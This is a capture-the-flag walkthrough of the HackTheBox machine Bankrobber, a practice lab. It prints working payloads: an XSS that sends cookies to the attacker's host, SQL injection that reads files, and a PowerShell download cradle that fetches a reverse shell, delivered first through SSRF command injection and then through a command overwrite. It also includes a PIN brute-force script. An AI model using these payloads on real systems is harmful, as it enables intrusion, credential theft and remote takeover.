Bankrobber is a vulnerable virtual machine created by Gioo and Cneeliz on HackTheBox. In this post, we document a complete walkthrough of pwning this machine.
Enumeration
Nmap
Starting off with the nmap
scan, we see that this is a Windows machine running HTTP, SMB and MariaDB services. Note that on both 80/http
and 443/https
it is Apache
instead of IIS
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ nmap-default 10.10.10.154
Nmap scan report for 10.10.10.154
Host is up (0.093s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-title: E-coin
443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: Bad request!
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB (unauthorized)
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1m34s, deviation: 0s, median: -1m35s
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-03-11T06:11:47
|_ start_date: 2021-03-11T06:06:21
For the details of the custom nmap
commands, check here.
HTTP
Directing our browser to the address, we see a page like this.
On 443/https
we can see the same page, and the ssl certificate does not leak any subdomain information to us. After registering a user and logging in, we get the following page. We input some random values and click the button to see what it does.
The following message is displayed. Based on the message, we can assume that there is some kind of user simulation going on.
We use the following payload to see if there is an XSS
vulnerability.
A few minutes later, we get a hit on our http server. It does appear vulnerable to XSS
.
1
2
3
4
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.154 - - [11/Mar/2021 02:15:41] code 404, message File not found
10.10.10.154 - - [11/Mar/2021 02:15:41] "GET /lol.jpg HTTP/1.1" 404 -
Exploitation
XSS
Methodologies of exploiting XSS
can be found here. We will try to retrieve the admin cookies with the following payload.
1
<img src=x onerror=this.src="http://10.10.14.7:8000/?c="+document.cookie>
Shortly after sending the payload, we get a hit on our http server.
1
10.10.10.154 - - [11/Mar/2021 02:19:42] "GET /?c=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1" 200 -
By decoding the values, we get the creadentials admin:Hopelessromantic
.
Enumeration
Admin Panel
After logging in with the credentials, we see an admin page. At the bottom of the page, there is a block that seems to execute commands. We try to execute dir
as specified, but get the following error message. It seems that this function can only be used locally.
Another interesting feature on this page is searching users. It seems retrieving data from the database service.
We use a quote
to see if it handles bad characters properly, and get an error as the following.
We then add -- -
to comment out anything afterwards, and it works. There seems to be an SQLi
vulnerability.
Exploitation
SQL Injection
After playing with the SQLi
, we find that it is union
injectable, and there are 3 columns returned.
We can control the first two columns and see the values returned.
By using the following payload, we can read the source code of backdoorchecker.php
.
1
term=1' union select 1,load_file('c:\\xampp\\htdocs\\admin\\backdoorchecker.php'),3-- -
The source code is shown below. Reading through it, we can see that the prohibited bad characters only include $(
and &
, which makes it possible to inject command via |
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array('$(','&');
$good = "ls";
if(strtolower(substr(PHP_OS,0,3)) == "win"){
$good = "dir";
}
if($username == "admin" && $password == "Hopelessromantic"){
if(isset($_POST['cmd'])){
// FILTER ESCAPE CHARS
foreach($bad as $char){
if(strpos($_POST['cmd'],$char) !== false){
die("You're not allowed to do that.");
}
}
// CHECK IF THE FIRST 2 CHARS ARE LS
if(substr($_POST['cmd'], 0,strlen($good)) != $good){
die("It's only allowed to use the $good command");
}
if($_SERVER['REMOTE_ADDR'] == "::1"){
system($_POST['cmd']);
} else{
echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
}
}
} else{
echo "You are not allowed to use this function!";
}
?>
But before doing that, we have to find a way to achieve SSRF
, since this function is only allowed locally.
XSS to SSRF
We can trick the server to send a request to itself to execute commands via the command injection we have identified previously in the source code. To achieve this, we first create a javascript file named rev.js
in our http server directory.
1
2
3
4
5
6
var request = new XMLHttpRequest();
var url = "http://localhost/admin/backdoorchecker.php";
var params = "cmd=dir | powershell iex(new-object net.webclient).downloadstring('http://10.10.14.7:8000/rev.ps1')";
request.open("POST", url);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request.send(params);
We also put our reverse shell script rev.ps1
from nishang
to the same directory. Next, we use the following XSS
payload to make the server execute our rev.js
.
1
<script src="http://10.10.14.7:8000/rev.js"></script>
Shortly, we get a reverse shell.
1
2
3
4
5
6
$ rlwrap ncat -nlvp 4444
...
PS C:\xampp\htdocs\admin> whoami
bankrobber\cortin
Privilege Escalation
Checking listening ports with netstat
, we find a new port 910
which is not shown in our nmap
scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PS C:\xampp\htdocs\admin> netstat -ano | findstr LISTEN
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 2512
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 756
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 2512
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:910 0.0.0.0:0 LISTENING 1592
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 2868
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 468
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 904
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 884
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1456
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 596
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 604
TCP 10.10.10.154:139 0.0.0.0:0 LISTENING 4
TCP [::]:80 [::]:0 LISTENING 2512
TCP [::]:135 [::]:0 LISTENING 756
TCP [::]:443 [::]:0 LISTENING 2512
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:3306 [::]:0 LISTENING 2868
TCP [::]:49664 [::]:0 LISTENING 468
TCP [::]:49665 [::]:0 LISTENING 904
TCP [::]:49666 [::]:0 LISTENING 884
TCP [::]:49667 [::]:0 LISTENING 1456
TCP [::]:49668 [::]:0 LISTENING 596
TCP [::]:49669 [::]:0 LISTENING 604
To play with the service, we will forward the port to us with chisel
. First, we set up chisel
server on our kali box.
1
$ ./chisel server -p 8888 --reverse
Next, we send the Windows version of chisel
to the target and forward the port to 9100
on our kali box.
1
2
3
PS C:\xampp\htdocs\admin> iwr http://10.10.14.7:8000/chisel.exe -outfile \windows\temp\chisel.exe
PS C:\xampp\htdocs\admin> \windows\temp\chisel.exe client 10.10.14.7:8888 R:9100:127.0.0.1:910
Now that the port is forwarded, we can connect to it with ncat
to see what it does. The program asks for a PIN code. Trying a random number, we get no luck.
1
2
3
4
5
6
7
8
9
10
11
$ ncat -nv 127.0.0.1 9100
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:9100.
--------------------------------------------------------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
--------------------------------------------------------------
Please enter your super secret 4 digit PIN code to login:
[$] 1337
[!] Access denied, disconnecting client....
Since the PIN code is a 4-digit number, we can easily brute force it. To do this, we write a python script that supports multi-threading and uses pwntools
to handle data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from concurrent.futures import ThreadPoolExecutor
finished = False
def try_pin(pin):
global finished
if not finished:
r = remote("127.0.0.1", 9100, level="error")
r.recvuntil("[$] ")
r.sendline(pin)
response = r.recvline()
r.close()
if b"denied" not in response:
log.success(f"Success: {pin}")
finished = True
with ThreadPoolExecutor(max_workers=30) as executor:
for i in range(9999):
pin = str(i).zfill(4)
executor.submit(try_pin, pin)
After running the script, we get a valid PIN code.
1
2
$ python3 brute.py
[+] Success: 0021
With the PIN code, we can let the program continue. It then asks for another input and execute some command.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ncat -nv 127.0.0.1 9100
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:9100.
--------------------------------------------------------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
--------------------------------------------------------------
Please enter your super secret 4 digit PIN code to login:
[$] 0021
[$] PIN is correct, access granted!
--------------------------------------------------------------
Please enter the amount of e-coins you would like to transfer:
[$] 1
[$] Transfering $1 using our e-coin transfer application.
[$] Executing e-coin transfer tool: C:\Users\admin\Documents\transfer.exe
[$] Transaction in progress, you can safely disconnect...
We try to fuzz it with a bunch of A
s, and we find that we have successfully overwritten the command executed.
1
[$] Executing e-coin transfer tool: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
To find out the position of the command in our payload, we generate a pattern string with msf-pattern_create
.
1
2
$ msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Using the pattern string instead of A
s, we get the following results.
1
[$] Executing e-coin transfer tool: 0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Searching the above part in our pattern string, we find that it begins at the 32nd character.
1
2
$ msf-pattern_offset -l 100 -q 0Ab1
[*] Exact match at offset 32
Knowing the offset, we are now able to craft a payload to precisely overwrite the command.
1
2
$ python3 -c "print('A'*32 + 'powershell iex(new-object net.webclient).downloadstring(\'http://10.10.14.7:8000/rev.ps1\')')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApowershell iex(new-object net.webclient).downloadstring('http://10.10.14.7:8000/rev.ps1')
We connect to the program again and paste our payload when asked for the input. It seems that the program is executing our command.
1
[$] Executing e-coin transfer tool: powershell iex(new-object net.webclient).downloadstring('http://10.10.14.7:8000/rev.ps1')
Checking our ncat
listener, we get a reverse shell with system
privileges.
1
2
3
4
5
6
$ rlwrap ncat -nlvp 4444
...
PS C:\Windows\system32> whoami
nt authority\system